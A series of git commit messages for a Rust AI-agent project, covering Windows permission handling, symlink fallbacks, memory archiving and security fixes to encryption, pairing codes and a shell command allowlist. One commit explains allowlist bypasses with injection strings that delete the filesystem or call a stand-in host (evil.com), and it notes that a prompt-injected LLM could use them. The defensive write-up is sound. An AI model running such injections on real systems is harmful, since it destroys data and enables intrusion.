- Check for empty USERNAME env var before running icacls to avoid a
doomed invocation with ":F" grant argument
- Log a clear warning when USERNAME is empty
- Add tracing::debug on successful permission set
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Replace silently discarded icacls result with proper error handling
that logs a tracing::warn! on failure. Previously, if icacls failed
(binary not found, permission denied), the key file would remain
world-readable on Windows with no indication of the problem.
Closes#56
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The is_multiple_of is a new, experimental feature introduced to the Rust standard library, but it is not yet stabilized. It requires the nightly compiler to work. Therefore, replacing it with the equivalent modulo operator (%) from stable release.
- Add Windows symlink support in skills/mod.rs with fallback chain:
1. symlink_dir (requires admin/developer mode)
2. mklink /J junction (works without admin)
3. copy_dir_recursive fallback
- Add Windows file permissions in security/secrets.rs using icacls
- Add copy_dir_recursive helper function for non-Unix platforms
Fixes#28
- Fixed E0425 error in src/skills/mod.rs by moving println! inside #[cfg(unix)] block where 'dest' variable is in scope
- Added missing 'identity' field to Config struct initializations in src/onboard/wizard.rs
- Fixed import paths for AIEOS identity functions in src/channels/mod.rs
- Added comprehensive symlink edge case tests in src/skills/symlink_tests.rs
- All 840 tests passing, 0 clippy warnings
Resolves issue #28: skills symlink functionality now works correctly on Unix platforms with proper error handling on non-Unix platforms
- Expand communication style presets (professional, expressive, custom)
- Enrich SOUL.md with human-like tone and emoji-awareness guidance
- Add crash recovery and sub-task scoping guidance to AGENTS.md scaffold
- Add 'Use when / Don't use when' guidance to TOOLS.md and runtime prompts
- Implement memory hygiene system with configurable archiving and retention
- Add MemoryConfig options: hygiene_enabled, archive_after_days, purge_after_days, conversation_retention_days
- Archive old daily memory and session files to archive subdirectories
- Purge old archives and prune stale SQLite conversation rows
- Add comprehensive tests for new features
The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:
echo $(rm -rf /) — subshell hides arbitrary command
echo `curl evil.com` — backtick subshell
ls | curl evil.com — pipe to unlisted command
ls && rm -rf / — chain via &&
ls\nrm -rf / — newline injection
Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)
Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.
CWE-78 / HIGH-1
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Use rejection sampling to eliminate modulo bias in generate_code().
Values above the largest multiple of 1_000_000 in u32 are discarded
and re-drawn (~0.02% rejection rate).
- Make generate_code_is_not_deterministic test robust against the
1-in-10^6 collision chance by trying 10 pairs instead of one.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The previous secret store used a repeating-key XOR cipher which is
cryptographically broken:
- Deterministic (no nonce) — identical plaintexts produce identical
ciphertexts
- No authentication — tampered ciphertext decrypts silently
- Vulnerable to known-plaintext attacks (e.g., "sk-" prefix reveals
key bytes)
Replace with ChaCha20-Poly1305 authenticated encryption:
- Random 12-byte nonce per encryption (non-deterministic)
- Poly1305 authentication tag detects tampering
- Uses the same 32-byte key file (no migration needed for keys)
New ciphertext format is `enc2:<hex(nonce || ciphertext || tag)>`.
Legacy `enc:` values (XOR) are still decryptable for backward
compatibility during migration.
Adds chacha20poly1305 0.10 crate (pure Rust, no C dependencies).
New tests: tamper detection, wrong-key rejection, nonce uniqueness,
truncation handling, legacy XOR backward compatibility.
CWE-327 / CRIT-1
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Replace DefaultHasher + SystemTime + process::id() with UUID v4
(backed by getrandom/urandom CSPRNG) for pairing code generation.
The previous implementation used predictable entropy sources
(system time to ~1s precision and process ID) with a non-cryptographic
hash (SipHash), making the 6-digit code brute-forceable.
The new implementation extracts 4 random bytes from a UUID v4
(which uses the OS CSPRNG) and derives the 6-digit code from those.
No new dependencies added — reuses existing uuid crate.
Adds a test verifying non-deterministic output.
Ref: CWE-330 (Use of Insufficiently Random Values)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>